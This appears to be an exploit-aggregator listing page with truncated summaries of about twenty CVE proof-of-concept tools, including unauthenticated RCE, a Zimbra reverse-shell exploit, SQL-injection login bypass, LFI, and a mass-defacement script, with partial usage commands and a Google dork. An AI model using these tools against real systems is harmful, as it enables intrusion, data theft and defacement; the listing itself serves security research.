CVE-2024-4443-Poc

CVE-2024-4443-Poc CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress execute \business-directory-plugin\includes\helpers\class-listing-search.php:88 WPBDPListingSearch-traversetree \business-directory-plugin\includes\helpers\class-listing-search.php:185...

CVE-2023-27350

! このスクリプトはコマンド実行のためにサーバー設定を再構成するため、実行には注意してください。スクリプトは終了時に変更を元に戻しますが、プロセスが適切に強制終了されないと元に戻らない可能性があります ! CVE-2023-27350 Papercut 認証なし RCE（バージョン root@kitploit: スクリプトは自動的にサーバーが脆弱かどうかをテストします。 インタラクティブシェル: 脆弱性が確認されると、スクリプトはコマンドの入力を求めます。 スクリプトは終了時に設定を元に戻します。 例 参考文献 CVE-2023-27350 免責事項...

CVE-2022-44877

Centos Web Panel 7 の未認証リモートコード実行 - CVE-2022-44877 root@kitploit: + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜...

CVE-2019-19781

本記事は、CVE-2019-19781に登録されているCitrix ADC and Gateway Directory Traversalリモートコード実行RCEに関する記事です。 本リモートコード実行脆弱性は、/vpnパス配下の../vpnsにおいてsmb.confファイルの検証が適切に行われないために発生します。 システム構成情報やサーバ情報を奪取 1. Citrix 1989年に設立された米国の多国籍ソフトウェア企業 サーバ、アプリケーションおよびデスクトップ仮想化、ネットワーキング、SaaS、クラウドコンピューティング技術を提供...

SonLogger-vulns

CVE-2021-27964 | SonLogger - 認証なし任意ファイルアップロード Metasploit 日付: 30-01-2021 エクスプロイト作者: Berkan Er [email protected] ベンダーホームページ: https://www.sonlogger.com/ ソフトウェアリンク: https://www.sonlogger.com/download バージョン: 4.2.3.3 テスト済み: Windows 10 Enterprise x64 CVE: 2021-27964 公開日: 01-03-2021...

AzureADEnumeration

Microsoft Entra ID Azure AD 未認証列挙 ソース: EvilMist Toolkit - Invoke-EntraEnum.ps1 - https://github.com/Logisek/EvilMist 1. テナント検出 -TenantInfo 公開 API を使用してテナント情報を検出します。 1.1 azmap.dev API azmap.dev サービスからテナントの詳細を取得します。 root@kitploit: Replace DOMAIN with target domain e.g., example.com curl -s...

cve-2026-15748

root@kitploit: CVE-2026-15748 — Forminator Forms Unauthenticated RCE Crafted by Yora For Educational & Authorized Testing Only --- 📌 Deskripsi CVE-2026-15748 merupakan kerentanan yang berkaitan dengan plugin Forminator pada WordPress. Tool ini dibuat untuk membantu security research dan authorize...

CVE-2022-27925-Revshell

Zimbra 未認証リモートコード実行エクスプロイト CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol...

CVE-2024-4040

CVE-2024-4040 はじめに 最近この脆弱性を見てとても面白いと思い、以下の記事を読んで少しエクスプロイトを書きました。 https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/...

CVE-2017-3881-exploit-cisco-

Cisco Cluster Management Protocol CMP 処理コードにおける脆弱性により、認証されていないリモートの攻撃者が影響を受けるデバイスをリロードさせたり、高い権限でリモートからコードを実行したりする可能性があります。Cluster Management Protocol は、クラスタメンバー間のシグナリングおよびコマンドプロトコルとして内部で Telnet を利用しています。この脆弱性は、次の 2 つの要因の組み合わせに起因します。1 CMP 固有の Telnet オプションの使用をクラスタメンバー間の内部ローカル通信にのみ制限せず、影響を受けるデバイスへの...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 漏洞利用脚本 该 Python 脚本可自动化利用 Magnus Billing System v7 中的命令注入漏洞，该漏洞位于 /mbilling/lib/icepay/icepay.php 脚本的 icepay.php 中。利用程序通过 democ 参数在目标系统上执行任意命令，最终在攻击者控制的机器上建立反向 shell。 漏洞概述 该漏洞允许未认证的攻击者通过精心构造的 GET 请求进行命令注入。原始概念验证（PoC）使用了以下 curl 命令： root@kitploit: curl -s...

CVE-2026-64849.yaml

id: CVE-2026-64849 info: name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass author: DhiyaneshDk severity: critical description: | MLflow 3.15.0 には、Webhook URL の検証不備に起因する情報漏えいの脆弱性が存在します。攻撃者は内部またはクラウドメタデータサービスに到達し、レスポンスの詳細を取得できる可能性があります。この脆弱性を悪用するには、Webhook...

white-deface

著者 WHITE-DEFACE これは、脆弱なウェブサイトを自動的に改ざんするシンプルなツールです。 チュートリアル動画のリンクはこのページの最後にあります ⚠️ WebDAVの脆弱性を利用して攻撃します。 このスクリプトは、targets.txtファイルに指定されたウェブサイトにPUTリクエストを送信します。認証されていないリクエストが受け入れられ、あなたのHTMLスクリプトがウェブサイトにアップロードされます。スクリプトのリンクが表示され、確認できます（場合によっては直接ホームページが改ざんされます）。...

CVE-2024-10793

CVE-2024-10793 CVE-2024-10793 PoCエクスプロイト CVE-2024-10793.yaml スクリプトはプラグインを検索するために必要です。 CVE-2024-10793.sh スクリプトがエクスプロイト本体です。 ポストエクスプロイテーションには、beef-xss を使用できます。 Google dork: inurl:wp-content/plugins/wp-security-audit-log WordPress 用 WP Activity Log プラグインは、5.2.1 までの全バージョンにおいて、userid...

CVE-2025-14847

CVE-2025-14847 CVE-2025-14847 漏洞环境附带一份poc https://jira.mongodb.org/browse/SERVER-115508 SUMMARY This is a critical fix to address CVE-2025-14847. Upgrade to 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30. ISSUE DESCRIPTION AND IMPACT An client-side exploit of the Server's zlib implementation ca...

CVE-2023-38646

CVE-2023-38646 PoC Description This is a Proof of Concept PoC script for exploiting Metabase, an open-source business intelligence and data analytics tool. Metabase allows users to visualize and interact with their data, making it a powerful platform for data analysis. This vulnerability,...

CVE-2025-1661

CVE-2025-1661 - HUSKY – Products Filter Professional for WooCommerce における未認証のローカルファイルインクルージョン LFI 説明 WordPress用プラグイン HUSKY – Products Filter Professional for WooCommerce は、wooftextsearch AJAXアクションの template パラメータを介して、1.3.6.5 までのすべてのバージョンにおいて ローカルファイルインクルージョン LFI の脆弱性の影響を受けます。 これにより、未認証の攻撃者...

cve-2020-9375

CVE-2020-9375 早于 Build 200318 Rel. 62209 的 TP-Link Archer C50 V3 设备允许远程攻击者通过包含意外 Referer 字段的特制 HTTP 标头造成拒绝服务。 漏洞利用标题 : TP-Link Archer C50 v3 拒绝服务 日期 : 25-01-2020 漏洞利用作者 : thewhiteh4t 厂商主页 : https://www.tp-link.com/ 版本 : TP-Link Archer C50 v3 Build 171227 测试环境 : Arch Linux x64 CVE : CVE-2020-9375 ...

ABO.CMS-EXPLOIT-Unauthenticated-Login-Bypass-CVE-2024-25227

ABO.CMS-EXPLOIT-認証なしログインバイパス-CVE-2024-25227 CVE-2024-25227 エクスプロイト CVE-2024-25227は、ABO.CMS 5.8のSQLi脆弱性であり、パラメータ「tblogin」に見られます。 PoC: root@kitploit: POST /login.aspx HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/535.36 KHTML...

CVE-2022-26134

CVE-2022-26134 2022年5月30日、Volexityという組織が、AtlassianのConfluence ServerおよびData Centerエディション（脆弱バージョン 7.18.1）において、認証不要のRCE脆弱性（NISTスコア9.8）を特定しました。 実行 root@kitploit: python -m venv venv source venv/bin/activate pip install -r requirements.txt python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id" 参考...